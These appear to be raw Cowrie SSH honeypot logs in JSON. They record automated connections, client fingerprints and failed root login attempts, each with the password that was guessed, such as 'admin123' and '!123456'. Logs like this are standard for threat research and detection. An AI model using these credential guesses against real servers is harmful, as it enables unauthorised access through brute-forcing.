{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:21.416869Z","src_ip":"103.96.74.162","session":"30f312001b12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Centos","message":"login attempt [root/Centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:21.856063Z","src_ip":"103.96.74.162","session":"30f312001b12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:23.071442Z","src_ip":"103.96.74.162","session":"30f312001b12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":40242,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc1d72d9a853","protocol":"ssh","message":"New connection: 193.32.162.151:40242 (159.203.135.109:22) [session: bc1d72d9a853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:31.179734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:31.184834Z","src_ip":"193.32.162.151","session":"bc1d72d9a853","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:31.285026Z","src_ip":"193.32.162.151","session":"bc1d72d9a853","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:31.597887Z","src_ip":"193.32.162.151","session":"bc1d72d9a853","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:32.701568Z","src_ip":"193.32.162.151","session":"bc1d72d9a853","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.243.24.124","src_port":47686,"dst_ip":"10.17.0.5","dst_port":22,"session":"0350dbf3a97f","protocol":"ssh","message":"New connection: 103.243.24.124:47686 (10.17.0.5:22) [session: 0350dbf3a97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:36.506886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:36.511795Z","src_ip":"103.243.24.124","session":"0350dbf3a97f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:36.718818Z","src_ip":"103.243.24.124","session":"0350dbf3a97f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2033","message":"login attempt [root/2033] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:37.335534Z","src_ip":"103.243.24.124","session":"0350dbf3a97f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:38.545878Z","src_ip":"103.243.24.124","session":"0350dbf3a97f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.95.137","src_port":54006,"dst_ip":"10.17.0.5","dst_port":22,"session":"28375ecada52","protocol":"ssh","message":"New connection: 168.144.95.137:54006 (10.17.0.5:22) [session: 28375ecada52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:54.018198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:54.022308Z","src_ip":"168.144.95.137","session":"28375ecada52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:54.235324Z","src_ip":"168.144.95.137","session":"28375ecada52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pencil123","message":"login attempt [root/pencil123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:55.106837Z","src_ip":"168.144.95.137","session":"28375ecada52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:41:56.320584Z","src_ip":"168.144.95.137","session":"28375ecada52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.106.207","src_port":58166,"dst_ip":"159.203.135.109","dst_port":22,"session":"36700f2d159a","protocol":"ssh","message":"New connection: 43.128.106.207:58166 (159.203.135.109:22) [session: 36700f2d159a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:00.594532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:00.599635Z","src_ip":"43.128.106.207","session":"36700f2d159a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:00.845244Z","src_ip":"43.128.106.207","session":"36700f2d159a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"williams1","message":"login attempt [root/williams1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:01.858194Z","src_ip":"43.128.106.207","session":"36700f2d159a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:03.106721Z","src_ip":"43.128.106.207","session":"36700f2d159a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":38328,"dst_ip":"10.17.0.5","dst_port":22,"session":"232c361e97ef","protocol":"ssh","message":"New connection: 185.40.30.168:38328 (10.17.0.5:22) [session: 232c361e97ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:06.179244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:06.183820Z","src_ip":"185.40.30.168","session":"232c361e97ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:06.325835Z","src_ip":"185.40.30.168","session":"232c361e97ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1942","message":"login attempt [root/1942] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:06.858647Z","src_ip":"185.40.30.168","session":"232c361e97ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:07.985517Z","src_ip":"185.40.30.168","session":"232c361e97ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.104.184","src_port":43244,"dst_ip":"159.203.135.109","dst_port":22,"session":"704ad55af918","protocol":"ssh","message":"New connection: 43.134.104.184:43244 (159.203.135.109:22) [session: 704ad55af918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:08.883819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:08.888240Z","src_ip":"43.134.104.184","session":"704ad55af918","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:09.133252Z","src_ip":"43.134.104.184","session":"704ad55af918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!123456","message":"login attempt [root/!123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:10.147809Z","src_ip":"43.134.104.184","session":"704ad55af918","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.42.110","src_port":59290,"dst_ip":"159.203.135.109","dst_port":22,"session":"c06f39224795","protocol":"ssh","message":"New connection: 217.154.42.110:59290 (159.203.135.109:22) [session: c06f39224795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:11.030763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:11.035860Z","src_ip":"217.154.42.110","session":"c06f39224795","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:11.116058Z","src_ip":"217.154.42.110","session":"c06f39224795","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:11.396085Z","src_ip":"43.134.104.184","session":"704ad55af918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newnew","message":"login attempt [root/newnew] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:11.464951Z","src_ip":"217.154.42.110","session":"c06f39224795","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:12.548851Z","src_ip":"217.154.42.110","session":"c06f39224795","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":59214,"dst_ip":"10.17.0.5","dst_port":22,"session":"e81daaa1f868","protocol":"ssh","message":"New connection: 103.27.238.120:59214 (10.17.0.5:22) [session: e81daaa1f868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:14.229361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:14.234411Z","src_ip":"103.27.238.120","session":"e81daaa1f868","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:14.509547Z","src_ip":"103.27.238.120","session":"e81daaa1f868","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"505050","message":"login attempt [root/505050] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:42:15.333481Z","src_ip":"103.27.238.120","session":"e81daaa1f868","protocol":"ssh"}
